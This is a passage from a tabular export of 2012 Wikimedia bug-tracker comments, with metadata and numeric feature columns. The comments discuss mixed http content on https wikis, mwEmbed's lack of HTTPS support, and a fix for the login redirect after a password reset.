CCed and assigned to Chris... he'll post the result on meta wiki as soon as he got them.",,,1345824262,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,True,,,-53,True,2.0,0.0,0.0,1.0,0.5,4.5,1.5,0.0,0.0,0.0,1.5,2.0,0.0,0.5,0.5,1.5,0.0,7.5,9.5,0.0,1.0,0.0,1.5,0.0,2.0,0.0,0.0,1.0,0.0,1.0,1.5,5.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,11.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,5.0,3.5,5.5,3.5,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,5.5,9.5,4.5,0.0,0.0,0.0,5.5,0.0,2.0,1.5,1.0,3.0,0.0,0.0,0.0,3.904265873015873,0.8425099206349207,"It's true, that I already fixed several thousand of MediaWiki: pages including http only URIs, but there are some that can't be fixed that easily (eg. were the scripts are obfuscated or using nested imports [scripts which include even other scripts]).

Chris Steipp is working on that following an idea of mine, together with the 3rd party include problem. The idea behind that project is to scan the wikis using a real-user browser scenario, so that we find all inclusions, no matter how they're produced.

CCed and assigned to Chris... he'll post the result on meta wiki as soon as he got them."
165875,Check all wikis for inclusions of http resources on https,"Reference to the cleanup mentioned above: [[m:Stewards'_noticeboard/Archives/2012-04#Fixing_HTTPS_on_Wikimedia_wikis]].

(In reply to comment #5)
> A quick check of the first few dozen results yields some suspicious links:
> 
> http://toolserver.org
> http://stats.wikimedia.org
> http://s23.org/wikistats/wmspecials_html.php
> http://www.wikilovesmonuments.be

What do you mean suspicious? 
Hoo, in the link above, said that Commons had already taken care of the problem. Most URLs in the search results, from a cursory reading, seem simple external links which can't always be replaced (although interwikis can be used for many toolserver.org URLs and all stats.wikimedia.org resources).
I'm not sure, however, if anyone went through all of them.",,,1345764533,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,True,,,-53,True,2.5,1.0,0.0,1.5,1.5,4.5,0.0,0.0,1.0,1.0,2.5,1.5,0.0,0.0,0.0,1.0,0.0,5.0,9.0,1.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,0.5,0.0,2.0,0.5,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,12.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,3.5,1.5,10.0,2.0,1.0,6.0,0.0,0.0,0.0,0.5,2.5,0.0,0.5,0.0,2.0,9.0,5.5,0.5,0.0,0.0,2.0,0.0,1.5,1.0,1.0,0.0,0.0,1.0,2.5,4.15,0.7583333333333333,"Reference to the cleanup mentioned above: [[m:Stewards'_noticeboard/Archives/2012-04#Fixing_HTTPS_on_Wikimedia_wikis]].

(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

What do you mean suspicious? 
Hoo, in the link above, said that Commons had already taken care of the problem. Most URLs in the search results, from a cursory reading, seem simple external links which can't always be replaced (although interwikis can be used for many toolserver.org URLs and all stats.wikimedia.org resources).
I'm not sure, however, if anyone went through all of them."
165868,Check all wikis for inclusions of http resources on https,"

If I understand the correctly, checking on commons, given that commons seems to be the most complex wiki to have gotten 1.19 so far, I find on https://commons.wikimedia.org/w/index.php?title=Special%3ASearch&profile=advanced&search=http%3A%2F%2F&fulltext=Search&ns8=1&profile=advanced many hundreds of results for ""http://""

A quick check of the first few dozen results yields some suspicious links:

http://toolserver.org
http://stats.wikimedia.org
http://s23.org/wikistats/wmspecials_html.php
http://www.wikilovesmonuments.be",,,1330369046,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,False,,,-79,True,5.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,15.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,16.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,3.0,15.0,5.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,3.7096774193548385,0.6935483870967742,"

If I understand the correctly, checking on commons, given that commons seems to be the most complex wiki to have gotten 1.19 so far, I find on URL many hundreds of results for ""URL

A quick check of the first few dozen results yields some suspicious links:

URL
URL
URL
URL"
165862,Check all wikis for inclusions of http resources on https,"<Nemo_bis> Reedy, hoo has switched about 3000 MediaWiki messages (with CSS, JS, whatever) to protocol-relative URLs and this should have fixed most of it on most wikis
<Nemo_bis> except evil JS which produce HTTP links with string manipulation",,,1330096154,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,True,,,-79,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,12.0,14.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,10.0,4.14,0.84,"<Nemo_bis> Reedy, hoo has switched about 3000 MediaWiki messages (with CSS, JS, whatever) to protocol-relative URLs and this should have fixed most of it on most wikis
<Nemo_bis> except evil JS which produce HTTP links with string manipulation"
165855,Check all wikis for inclusions of http resources on https,"Links don't matter so much, but inclusion of resources does more",,,1330095532,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,True,,,-79,True,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,23.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.153846153846154,1.0,"Links don't matter so much, but inclusion of resources does more"
165849,Check all wikis for inclusions of http resources on https,"Searching the MW namespace is a good place to start:

https://he.wikinews.org/w/index.php?title=Special%3ASearch&profile=advanced&search=http%3A%2F%2F&fulltext=Search&ns8=1&profile=advanced

which reveals https://he.wikinews.org/wiki/MediaWiki:Copyrightwarning",,,1330063006,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,False,,,-79,True,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,24.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,3.823529411764706,0.8823529411764706,"Searching the MW namespace is a good place to start:

URL

which reveals URL"
165843,Check all wikis for inclusions of http resources on https,"Chris, just a further note on this - It's not something we need to do every upgrade, it's a ""1 off"" task post our proper HTTPS switchover in the latter half of last year.",,,1330056367,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-dpocfkqirsjrev23x7kp,task_subcomment,,True,c2,1,True,,,-79,True,2.0,2.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,10.0,12.0,2.0,0.0,5.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.341463414634146,0.9024390243902439,"Chris, just a further note on this - It's not something we need to do every upgrade, it's a ""1 off"" task post our proper HTTPS switchover in the latter half of last year."
36520,mwEmbed is not compatible with HTTPS-/secure-wiki,"**Author:** `it_is_me_here`

**Description:**
See https://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28technical%29#HTTPS_issues. When browsing https://en.wikipedia.org on Google Chrome, the padlock is normally green (for HTTPS padlock colours, see https://support.google.com/chrome/bin/answer.py?hl=en&answer=95617), but if you'd enabled mwEmbed in your user preferences, it changes to red.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1329674820,1329760235.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-knwacgyk64y4w333akyt,task_description,resolved,True,c2,1,False,False,True,-80,True,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,19.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.739130434782609,0.6666666666666666,"**Author:** CODE

**Description:**
See URL When browsing URL on Google Chrome, the padlock is normally green (for HTTPS padlock colours, see URL but if you'd enabled mwEmbed in your user preferences, it changes to red.

--------------------------
**Version**: unspecified
**Severity**: normal"
166636,mwEmbed is not compatible with HTTPS-/secure-wiki,"This bug is a duplicate of 32457 - mwEmbed is hosted on prototype.mw, meaning that it does not support https

*** This bug has been marked as a duplicate of bug 32457 ***",,,1329760235,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-knwacgyk64y4w333akyt,task_subcomment,,True,c2,1,True,,,-80,True,0.0,0.0,0.0,5.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,5.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,3.5641025641025643,0.6666666666666666,"This bug is a duplicate of 32457 - mwEmbed is hosted on prototype.mw, meaning that it does not support https

*** This bug has been marked as a duplicate of bug 32457 ***"
166633,mwEmbed is not compatible with HTTPS-/secure-wiki,https://en.wikipedia.org/wiki/MediaWiki:Gadget-mwEmbed.js points to http://prototype.wikimedia.org/mwe-gadget/mwEmbed/remotes/mediaWiki.js and prototype doesn't have https set up on it.,,,1329758284,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-knwacgyk64y4w333akyt,task_subcomment,,True,c2,1,False,,,-80,True,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,0.9333333333333333,URL points to URL and prototype doesn't have https set up on it.
36367,Please support https for http://labs.wikimedia.beta.wmflabs.org/wiki/Main_Page,"I often work with wireless, http is insecure.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1329134820,1337106051.0,PHID-USER-732lqsmz4v6bss3kln2v,False,,False,PHID-TASK-pw7dvnwa5k43ym2jdt7c,task_description,resolved,True,c2,1,False,False,True,-81,True,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.107142857142857,0.6785714285714286,"I often work with wireless, http is insecure.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
166015,Please support https for http://labs.wikimedia.beta.wmflabs.org/wiki/Main_Page,"

*** This bug has been marked as a duplicate of bug 36648 ***",,,1337106051,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-pw7dvnwa5k43ym2jdt7c,task_subcomment,,True,c2,1,True,,,-68,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 36648 ***"
166010,Please support https for http://labs.wikimedia.beta.wmflabs.org/wiki/Main_Page,"Roan K. will be working on it, as soon as he has a time",,,1329136827,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-pw7dvnwa5k43ym2jdt7c,task_subcomment,,True,c2,1,True,,,-81,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,13.0,13.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,2.8,0.9333333333333333,"Roan K. will be working on it, as soon as he has a time"
35997,SpecialPasswordReset does not always has the correct returnto= page on the login / create account portlet and returns to SpecialPasswortReset instead to Main page,"I'll try to describe this reproducible problem, it's difficult to describe but perhaps someone of you has seen this problem also.

When users have requested a temporary password through Special:PasswortReset and 

- come back to the wiki 
- and then click onto the Special:Login link (portlet) in order to get the password page, I noticed (the problem:) that often this portlet has a wrong value and after entering the temporary pw and the new password twice, the wiki shows again the Special:PasswordReset page instead of going to the Main page.

Perhaps a new RequestContext should be set, but I do not know, how this can be done at that moment.

When doing a passwort reset (enter the temporary password and twice a different, new password) on

/index.php?title=Special:UserLogin&returnto=Special%3APasswordReset

the Create Account/Login portlet has incorrectly

/index.php?title=Special:UserLogin&returnto=Special%3APasswordReset

instead of 

/index.php?title=Special:UserLogin&returnto=Main+Page

--------------------------
**Version**: 1.20.x
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=57098",Medium,50.0,1327700760,1329004026.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-tag5y25e6jgf6tfreibs,task_description,resolved,True,c2,1,False,False,True,-83,True,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,4.333333333333333,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,5.666666666666667,5.333333333333333,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,2.3333333333333335,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,11.666666666666666,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,5.666666666666667,0.6666666666666666,12.666666666666666,1.3333333333333333,2.3333333333333335,7.666666666666667,0.0,0.3333333333333333,0.0,0.0,3.6666666666666665,0.0,0.0,0.0,1.6666666666666667,5.333333333333333,9.666666666666666,0.0,0.0,0.0,1.6666666666666667,0.0,1.0,1.6666666666666667,0.0,1.0,0.0,0.0,1.0,4.392884322678843,0.6552511415525114,"I'll try to describe this reproducible problem, it's difficult to describe but perhaps someone of you has seen this problem also.

When users have requested a temporary password through Special:PasswortReset and 

- come back to the wiki 
- and then click onto the Special:Login link (portlet) in order to get the password page, I noticed (the problem:) that often this portlet has a wrong value and after entering the temporary pw and the new password twice, the wiki shows again the Special:PasswordReset page instead of going to the Main page.

Perhaps a new RequestContext should be set, but I do not know, how this can be done at that moment.

When doing a passwort reset (enter the temporary password and twice a different, new password) on

/index.php?title=Special:UserLogin&returnto=Special%3APasswordReset

the Create Account/Login portlet has incorrectly

/index.php?title=Special:UserLogin&returnto=Special%3APasswordReset

instead of 

/index.php?title=Special:UserLogin&returnto=Main+Page

--------------------------
**Version**: 1.20.x
**Severity**: normal
**See Also**:
URL"
163813,SpecialPasswordReset does not always has the correct returnto= page on the login / create account portlet and returns to SpecialPasswortReset instead to Main page,"I tried your patch, this appears to work as expected and described. 

great. fixed in r111270",,,1329004026,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-tag5y25e6jgf6tfreibs,task_subcomment,,True,c2,1,False,,,-81,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,15.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,0.95,"I tried your patch, this appears to work as expected and described. 

great. fixed in r111270"
163807,SpecialPasswordReset does not always has the correct returnto= page on the login / create account portlet and returns to SpecialPasswortReset instead to Main page,"**ashishmittal.mail** wrote:

changes to SpecialUserLogin to return to Main_Page after a password change

Hello,

Thanks for the detailed explanation. I reproduced the second scenario and was able to figure out the following solutions for it:

1. Modification of SpecialUserLogin to check if the returntitle is PasswordReset. If yes, make the returnto empty. 

The code snippet is:

# Do not redirect back to PasswordReset (instead to the Main_Page) after a successful password change
		if( is_object( $returnToTitle ) && $returnToTitle->isSpecial( 'PasswordReset' ) ) {
			$this->mReturnTo = '';
			$this->mReturnToQuery = '';
		}

In this case, the returnto is still set to PasswordReset in the url, but after Login submission, the returnto is made emptied. Similar solution exits for the UserLogout page. In the case of UserLogout, if I manually go to UserLogout and click on Login, the returnto is set to UserLogout. Hence after successful login, the user would be returned to Logout page, but similar code prevents it from going to Logout page.

2. Second solution is to modify the SkinTemplate to modify the login url itself. In the SkinTemplate, I can check the $wgRequest->getVal('returnto') and if it is set to PasswordReset, I can modify it to Main_Page. This would change the returnto in the $loginurl itself and would be used to return the user back to main page once the user has logged in.

I am attaching a patch for the former, kindly give your review which solution is more suitable and if the code and the output seems fine.

Thanks in advance.

Regards,
Aashish

**Attached**: {F8804}",,,1328988236,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tag5y25e6jgf6tfreibs,task_subcomment,,True,c2,1,False,,,-81,True,0.0,0.0,0.0,1.5,0.25,3.75,0.75,0.0,0.0,1.5,2.5,1.25,0.0,0.0,0.0,1.25,0.0,2.75,11.75,0.0,1.75,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.75,0.0,3.75,0.5,1.5,0.25,0.25,0.25,0.0,0.5,0.0,0.0,0.0,0.25,1.75,0.0,0.25,0.0,0.0,0.0,12.75,0.25,0.25,0.0,0.25,0.0,0.0,0.0,0.25,0.5,0.0,0.0,0.5,0.0,0.0,0.25,0.0,0.0,7.5,3.25,11.25,1.75,2.75,8.25,0.0,0.0,0.0,0.25,4.5,0.0,0.0,0.0,3.25,11.75,5.0,0.0,0.75,0.0,3.25,0.0,0.25,0.75,0.5,0.75,0.25,0.0,0.75,4.108433734939759,0.6506024096385542,"**ashishmittal.mail** wrote:

changes to SpecialUserLogin to return to Main_Page after a password change

Hello,

Thanks for the detailed explanation. I reproduced the second scenario and was able to figure out the following solutions for it:

1. Modification of SpecialUserLogin to check if the returntitle is PasswordReset. If yes, make the returnto empty. 

The code snippet is:

# Do not redirect back to PasswordReset (instead to the Main_Page) after a successful password change
		if( is_object( $returnToTitle ) && $returnToTitle->isSpecial( 'PasswordReset' ) ) {
			$this->mReturnTo = '';
			$this->mReturnToQuery = '';
		}

In this case, the returnto is still set to PasswordReset in the url, but after Login submission, the returnto is made emptied. Similar solution exits for the UserLogout page. In the case of UserLogout, if I manually go to UserLogout and click on Login, the returnto is set to UserLogout. Hence after successful login, the user would be returned to Logout page, but similar code prevents it from going to Logout page.

2. Second solution is to modify the SkinTemplate to modify the login url itself. In the SkinTemplate, I can check the $wgRequest->getVal('returnto') and if it is set to PasswordReset, I can modify it to Main_Page. This would change the returnto in the $loginurl itself and would be used to return the user back to main page once the user has logged in.

I am attaching a patch for the former, kindly give your review which solution is more suitable and if the code and the output seems fine.

Thanks in advance.

Regards,
Aashish

**Attached**: {F8804}"
163801,SpecialPasswordReset does not always has the correct returnto= page on the login / create account portlet and returns to SpecialPasswortReset instead to Main page,"(In reply to comment #1)
> As per my understanding, generally after the user login, the page is redirected
> back to the page user was originally on due to the parameter 'returnto' of the
> $request object (WebRequest). 
> Since in this case, the user was on 'PasswordRequest' page, he would be
> redirected to the same page again. Hence in this case, we might need to
> explicitly set the parameter to the 'main-page'. Hence it would be a code
> addition somewhere in the PasswordReset page for setting the value of some
> parameter to 'main-page' which would reflect in $request['returnto']
> 
> Aashish

I think, I need to give a detailed analysis. Allow me to use some ""bold"" words to point to the differences.

There is _no_ problem for this case I:

- you or someone else has triggered to have the password ""reset"" mail sent to you from the Special:PasswordReset page
- you go to your mail client
- you click on the link in your mail - the link goes to https://server/phase3/index.php/Main_Page 
- you come to the newly rendered Main page 
- where you now click onto login 
- enter your temporary password, and 2x the new one
= Okay

The problem is visible in this scenario case II:

- you or someone else has triggered to have the password ""reset"" mail sent to you from the Special:PasswordReset page
- (X) you LEAVE THIS browser page as it stands (saying something like ""a temporary password has been successfully mailed to ..."")
- you goto to your mail
- you DO NOT click on the link in your mail (the link goes to https://server/phase3/index.php/Main_Page)
- you switch to your still-opened browser window with the unchanged page of step (X)
- where you now click onto login link (THIS LINK HAS THE WRONG returnto https://server/phase3/index.php?title=Special:UserLogin&returnto=Special%3APasswordReset because the page was not rendered again, still stands at (X) )
- enter your temporary password, and 2x the new one

Problem: now your are again at ""Special:PasswordReset"" , which is correct behaviour of the Wiki software, but not what a user wants.",,,1328966488,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-tag5y25e6jgf6tfreibs,task_subcomment,,True,c2,1,False,,,-81,True,0.25,0.75,0.0,0.5,0.75,3.0,0.75,0.25,0.0,0.0,1.25,0.0,0.25,0.0,0.25,1.0,0.0,4.5,9.5,0.75,1.5,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.25,0.25,0.75,5.5,0.0,0.25,1.0,0.25,0.25,0.0,1.5,0.0,0.0,0.25,0.0,0.0,0.0,14.75,0.0,1.0,0.25,0.0,0.25,0.5,0.0,0.75,0.5,0.0,0.0,0.75,0.0,0.0,0.0,0.0,0.0,5.25,1.75,11.25,0.75,1.25,7.25,0.0,0.0,0.0,0.25,2.5,0.25,1.25,0.0,6.75,9.5,4.75,0.0,2.5,0.0,6.75,0.0,1.25,0.75,0.25,0.25,0.0,0.0,0.0,3.4332687894434883,0.6397375215146299,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I think, I need to give a detailed analysis. Allow me to use some ""bold"" words to point to the differences.

There is _no_ problem for this case I:

- you or someone else has triggered to have the password ""reset"" mail sent to you from the Special:PasswordReset page
- you go to your mail client
- you click on the link in your mail - the link goes to URL 
- you come to the newly rendered Main page 
- where you now click onto login 
- enter your temporary password, and 2x the new one
= Okay

The problem is visible in this scenario case II:

- you or someone else has triggered to have the password ""reset"" mail sent to you from the Special:PasswordReset page
- (X) you LEAVE THIS browser page as it stands (saying something like ""a temporary password has been successfully mailed to ..."")
- you goto to your mail
- you DO NOT click on the link in your mail (the link goes to URL
- you switch to your still-opened browser window with the unchanged page of step (X)
- where you now click onto login link (THIS LINK HAS THE WRONG returnto URL because the page was not rendered again, still stands at (X) )
- enter your temporary password, and 2x the new one

Problem: now your are again at ""Special:PasswordReset"" , which is correct behaviour of the Wiki software, but not what a user wants."
163794,SpecialPasswordReset does not always has the correct returnto= page on the login / create account portlet and returns to SpecialPasswortReset instead to Main page,"**ashishmittal.mail** wrote:

Hello,

I would like to solve this bug.

As per my understanding, generally after the user login, the page is redirected back to the page user was originally on due to the parameter 'returnto' of the $request object (WebRequest). 
Since in this case, the user was on 'PasswordRequest' page, he would be redirected to the same page again. Hence in this case, we might need to explicitly set the parameter to the 'main-page'. Hence it would be a code addition somewhere in the PasswordReset page for setting the value of some parameter to 'main-page' which would reflect in $request['returnto']

Kindly suggest if I am on the right track and guide.

Thanks,
